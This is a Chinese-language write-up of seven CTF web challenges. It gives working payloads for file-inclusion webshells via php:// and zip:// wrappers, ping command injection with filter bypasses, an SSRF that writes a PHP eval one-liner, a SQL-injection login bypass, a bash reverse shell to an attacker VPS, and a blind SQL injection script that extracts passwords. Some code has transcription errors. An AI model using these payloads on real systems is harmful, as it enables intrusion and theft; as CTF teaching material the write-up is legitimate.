writeup分享 | 近期做的比较好的web

时间:2022-04-27
本文章向大家介绍writeup分享 | 近期做的比较好的web,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

0x01猫头鹰嘤嘤嘤

http://124.128.55.5:30829/index.php

首先分析一下功能,随便上传一张jpg图片上传,跳转到 http://124.128.55.5:30829/index.php?page=view&id=0evBNzz,想到文件包含漏洞,尝试用php://filter伪协议去读源码

http://124.128.55.5:30829/index.php?page=php://filter/read=convert.base64-encode/resource=index

这里注意.php是自动补的,不需要写。

读出来的源码如下:

view.php
<? php $pic = $_REQUEST['id'];

if ($pic == "" || $pic == "random") {
  $picname = "preloaded-owls/".rand(1, 14).".jpg";
} else $picname = "/owl/".$pic.".jpg";
echo '<img src="'.$picname.'">'; ?>
 
index.php
<? php $p = $_REQUEST['page'];
if ($p == "" || $p == "index") {
  $p = "main";
}
$haq = base64_decode("ICAgICAgICAgICAgICAgICAgIC8tLS0tLS0tLS0KICAgICAgICAgICAgICAgICAgLyAvIC8qKioqKipcCiAgICAgICAgICAgICAgICAgLyAvKioqKi0tICogKlwKICAgICAgLy8oKCg6PDw8PC86KioqKioqKioqM1xYKlwoKDwKICAgICAvWFgvQ1hDJkNHRy8vKiovLS0vLy9YKlZcKiouLmcmCigvVkNDM2dnMC4uLi4uLi4uKi8vWC8vKC8vL1YqQ1wqLi44ODhnZzhnJjNDPAooMyZnRyYuLi4uLi4uLi4uLiouLlhYWC8oKCgvKi5cKi4uLi4uLi5HLzA4ODgzWDxgCi8oPEM4IC4uLi4uLi4uLi4uKi5YWFhYLy8vLzwvLi4qLi4uLi4uLi4uLi4uLi4uM0NeClgvLzw8Ly4uLi4uLi4uLi4uKiZDVlgvLy9WLzw8Ly4qLi4uLi4uLi4uLi4uLi4uOEdDPApYWC9DLzo8L1YuLi4uLi4uLiomM0NWWFZYVlgoPFYqKi4uLi4uLi4uLi4uLi4uLiBnOENeCiAgICBHQy88PC8oLi4uLi44RyYzQ0NWWFhYWFZ+WFYqLi4uLi4uLi4uLi4uLi4uIEM4M1YKICAgICAgIFYvPF48KFg4OCZWLy8oKDw8PDwoKDxePCoqLi4uLi4uLi4uLi4uLi4uWCYmQwogICAgICAgICAgICAgIGA6L0NDVi8oKCg8PCgvVlZWLyouLi4uLi4uLi4uLi4uLigvQyYvCiAgICAgICAgICAgICAgIDw8IF5eKC9WMzNWWC9WQyZYKlZDLi4uLjo8PH48PDwoKFggIGAKICAgICAgICAgICAgICAgVi8oLzwgXiBeXjovWC8oKDw8Xl4tLS1WOn5+PDwoCiAgICAgICAgICAgICAgMyYgICAgICAgICAgICAgICAgICAuXi0vCiAgICAgICAgICAgICAgQyAgL1wgICAgICAgL1wgICAgICAgIHwKICAgICAgICAgICAgIC9DICBcLyAgICAgICBcLyAgICAgICAvLwogUExaIFNUT1AgICAgIDMgICAgICAgICAgICAgICAgICAgIHxcCiAgIEhBQ0tJTkcgICAgQyAgICAgICAgICAgICAgICAgICAvNSoKICAgICAgICAgICAgICBWICAgICAvLS0tLS1cICAgICAgIC8KICAgICAgICAgICAgICBDRyAgfCAgICAgICAgIHwgIDwvLy88CiAgICAgICAgICAgICAgVkdWIHwgICAgICAgICB8IF4oL1g8XgogICAgICAgICAgICAgICAmJjwgIFwtLS0tLS8gIC4oKDwoXgogICAgICAgICAgICAgICAgODMoICAgICAgICAuPCh+YDw8CiAgICAgICAgICAgICAgICAgOFhgICAgICAuPDxeYCBgKCheCiAgICAgICAgICAgICAgICBCQEBDPC5gXl5gICAgICBeKENHJkMoPC5gYAogICAgIENHOEIkQEBAQEBAQEBAJCggICAgICAgICAgXl4oMEBAQEAkODNYPGAKICAgQkBAQEBAQEBAQEBAQEBAQEBAOC8gICAgICAgYDxDJEBAQEBAQEBAQEAkJjwKICBAQEBAQEBAQEBAQEBAQEAkJCRAQEAkJDA4ODhCQEBAQEBAQEBAQEBAQEBAQEBWYAogQEBAQEBAQEBAQEBAQEAkQCQkJCQkJCRAQEBAJCRAQEAkQEBAQEBAQEBAQEBAQEBDYApAQEBAQEBAQEBAQEBAQCRAJCQkJCQkJCQkJCQkJCQkJCQkQEBAQEBAQEBAQEBAQEBAKGAKQEBAQEBAQEBAQEAkQCQkJCQkJCQkJCQkJCQkQEAkJEBAQEBAQEBAQEBAQEBAQEBAQEIK");
$haq = htmlentities($haq);
if (strstr($p, "..") !== FALSE) die("<pre>$haq</pre>");
if (stristr($p, "http") !== FALSE) die("<pre>$haq</pre>");
if (stristr($p, "ftp") !== FALSE) die("<pre>$haq</pre>");
if (strlen($p) >= 60) die("<pre>string > 60 $haq</pre>");
$inc = sprintf("%s.php", $p); ?> < !DOCTYPE html > < html lang = "en" > < head > < meta charset = "utf-8" > < meta http - equiv = "X-UA-Compatible"
content = "IE=edge" > < meta name = "viewport"
content = "width=device-width, initial-scale=1" > < title > Owlur - The simple image sharing website
for owl pictures < /title>      <!-- Bootstrap -->     <link href="css/bootstrap.min.css " rel="
stylesheet ">      <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->     <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->     <!--[if lt IE 9]>       <script src="
https: //oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>       <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>     <![endif]-->   </head>   <body style="background-color: #d0d0c8;"> <center> <h1>owlur</h1>    <?php include($inc); ?> </center>     <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->     <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>     <!-- Include all compiled plugins (below), or include individual files as needed -->     <script src="js/bootstrap.min.js"></script>   </body> </html>
upload.php
upload.php
<? php
function RandomString() {
  $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  $randstring = "";
  for ($i = 0; $i < 7; $i++) {
    $randstring. = $characters[rand(0, strlen($characters) - 1)];
  }
  return $randstring;
}
$target_dir = "/var/www/html/owlur-upload-zzzzzz/";
$target_file = $target_dir.basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 0;
$imageFileType = pathinfo($target_file, PATHINFO_EXTENSION);
$fsize = $_FILES['fileToUpload']['size'];
$newid = RandomString();
$newname = $newid.".jpg";
if (isset($_POST["submit"])) {
  if ($imageFileType == "jpg") {
    $uploadOk = 1;
  } else {
    echo "<p>Sorry, only JPG images of owls will be accepted. Please use a different service if you do not intend to upload owl pictures.</p>";
    $uploadOk = 0;
  }
  if (!($fsize >= 0 && $fsize <= 200000)) {
    $uploadOk = 0;
    echo "<p>Sorry, the size of your owl picture is not to our liking.</p>";
  }
}
if ($uploadOk) {
  $newpath = "/var/www/html/owlur-upload-zzzzzz/".$newname;
  if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath)) {
    header('Location: /index.php?page=view&id='.$newid);
  } else {
    echo "<p>Sorry, there was an error uploading your file.</p>";
  }
} ?>
 
/var/www/html/owlur-upload-zzzzzz/5RKTuqt
 
ZL4TD1w

分析代码

首先看index.php,存在文件包含漏洞,并且过滤了../http/ftp,对文件长度也做了限制。

然后分析upload.php,RandomString()函数用于生产一个随机ID,然后对文件后缀进行了判断,只允许上传jpg文件,这里可以使用伪协议去绕过。

php伪协议文章:http://www.freebuf.com/column/148886.html

将含有一句话的php压缩成zip,重命名成jpg, 上传得到

http://124.128.55.5:53859/index.php?page=view&id=2LsuNg3

菜刀连接http://124.128.55.5:53859/index.php?page=zip://./owlur-upload-zzzzzz/2LsuNg3.jpg%23test

成功getshell。

0x02前端跑路了QAQ

访问http://124.128.55.5:36311/index.txt,得到源代码
<?php 
 
$ip = isset($_POST['ip'])?$_POST['ip']:die();
 
if(!preg_match('/^d{1,3}.d{1,3}.d{1,3}.d{1,3}/i',$ip)){
    die("ip 格式错误!");
}
 
echo strlen($ip);
 
if(strlen($ip)<7||strlen($ip)>21){
    die("ip 长度错误!");
}
 
         // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                 // Windows
 
         $cmd = shell_exec( 'ping  ' .$ip );
}else {
                 // *nix
                 $cmd = shell_exec( 'ping  -c 1 ' .$ip );
}
 
         // Feedback for the end user
echo  "<pre>{$cmd}</pre>";

简单分析一下就是首先正则匹配ip格式,然后命令执行,需要绕过正则来进行命令注入。

需要知道preg_match()只匹配第一行,所以可以通过换行符来操作。

0x03 网络公司ping命令测试

复现地址:http://183.67.184.159:8888/ctf/shellcodeexec/

这个题跟上面那个题差不多,执行ping命令。

发现对ip的匹配判断操作是写在js里面的

function f_check_IP()      
{  var ip = document.getElementById('reg_ip').value;  
                    var re=/^(d+).(d+).(d+).(d+)$/;
                    if(re.test(ip))     
                    {     
                        if( RegExp.$1<256 && RegExp.$2<256 && RegExp.$3<256 && RegExp.$4<256)   
                        return true;     
                    }     
                    alert("IPu683Cu5F0Fu4E0Du6B63u786E");     
                    return false;      
}

这里就可以直接用浏览器禁用掉js了,然后执行ls命令

然后去读key_31321321421543.php的数据,

post: iipp=xx|cat key_31321321421543.php&submit=Ping

但是没有回显,应该是过滤了空格,可以使用<``${IFS}``$IFS$9去绕过

0x04上传上传!!

<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
 
}else{
    show_source(__FILE__);
    exit();
}
if(strpos($path,'..') > -1){
    die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

strpos($path,'..')函数是返回匹配的字符串的首位置,这里是个简单waf。

这里将file的data写入到path中去,如果没有就新建一个

但是这里需要getshell,需要考虑怎么写入一句话,需要构造一个有webshell的页面,然后可以将这个页面写入到新的php页面中,大体思路是这样,然后这里可以利用ssrf原理,让它构建出一个含有一句话的页面,然后利用这个页面getshell。

payload:

http://124.128.55.5:64778/?file=http://127.0.0.1/?file=http%3A%2f%2f127.0.0.1%2f%26path%3D%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E&path=shell.php

成功getshell

0x05 login2

靶场地址:http://47.93.190.246:49165/

首先通过http响应头获得提示

 $sql="SELECT username,password FROM admin WHERE username='".$username."'"; if (!empty($row) && $row['password']===md5($password)){ }

可以通过构造

username='union select 1,md5(1)#&&password=1

直接登录,也就是说通过构造sql语句使查询出来的password可控。 登录之后可以看到是个进程监控系统

然后测试过滤了什么字符,但是苦逼的是没有回显啊,尝试执行

c=1 ; sleep 5

页面加载了好几秒,也就是说命令执行了, 然后测试一下是否可以连接外网

c=123 ; ping www.baidu.com

一直转圈,显然可以访问,然后在vps上nc监听,使用bash反弹。

c=123 ; bash -i >& /dev/tcp/vps/7777 0>&1

成功getshell。

0x06 login3

靶场地址:http://47.93.190.246:49167/

题目提示考查布尔盲注

首先使用burpsuite测试一下过滤 根据返回长度判断是否被过滤。

首先测出过滤了

1. 空格 2. * 3. + 4. ; 5. = 6. is 7. union 8. like 9. where 10. for 11. and 12. file 13. ` 14. 各种截断字符串: %09,%0a,%0b,%0c 15. ,

可以使用的关键词

1. select 2. from 3. or 4. ' 5. () 6. <>

以及不含关键词的mysql自带函数,很容易看得出是一个盲注,没了空格的话可以使用括号来代替。

select password from admin where username='admin' select(password)from(admin)where(username)=('admin')

这两条语句是没有区别的

空格解决了就可以构造布尔条件了,不能使用等号但是可以使用不等号,所以可以构造

'or(变量1<>变量2)#

注意这里结果是相反的,也就是说

' or(1<>2)#

为真。 执行sql语句为:

select * from admin where username=''or(1<>2)

可以看到构造成功。

接下来用二分法猜一下password有多少位

username='or((length(password))<50)#&password= #正确,位数< 50
username='or((length(password))<25)#&password= #错误,25 <= 位数 < 50
username='or((length(password))<37)#&password= #正确,25 <= 位数 < 37
username='or((length(password))<31)#&password= #错误,31 <= 位数 < 37
username='or((length(password))<34)#&password= #正确,31 <= 位数 < 34
username='or((length(password))<32)#&password= #错误,32 <= 位数 < 34
username='or((length(password))<33)#&password= #正确,32 <= 位数 < 33
username='or((length(password))<>32)#&password= #错误,位数 = 32

估计是md5,但是逗号被ban了,不过可以使用from,作用是从该位截取到字符串尾部:

直接写脚本跑吧.

脚本如下

import requests
url = "http://47.93.190.246:49167/index.php"
def check(payload):
         postdata = {'username':payload,'password':'xx'}
         r = requests.post(url,postdata).content 
         return "username does not exist!" in r 
password = ''
s = r'0123456789abcdef'
for i in xrange(32,0,-1):
         for c in s:
                 payload = "'or(mid((select(password)from(admin))from(%d))<>'%s')#" % (i,c+password)
                 #print payload
                 if check(payload):
                          password = c + password
                          break
         print password

0x07简单的文件上传

这道题的思路挺好的,涨姿势了。

提示不能上传php文件,但是可以上传PHP,不过这里纯粹验证上传的文件名,然后

这里是路径,两者是直接连接的,然后可以

后面就是截断的问题了,不要老想着00截断,有的时候可能其他的截断,然后简单fuzz一下就OK, 使用脚本

file = open("fuzz.txt",'w')
for i in range(256):
         file.write(chr(i)+'n')
file.close()

然后这里Load一下刚才生成的fuzz.txt,就能fuzz出用什么可以截断。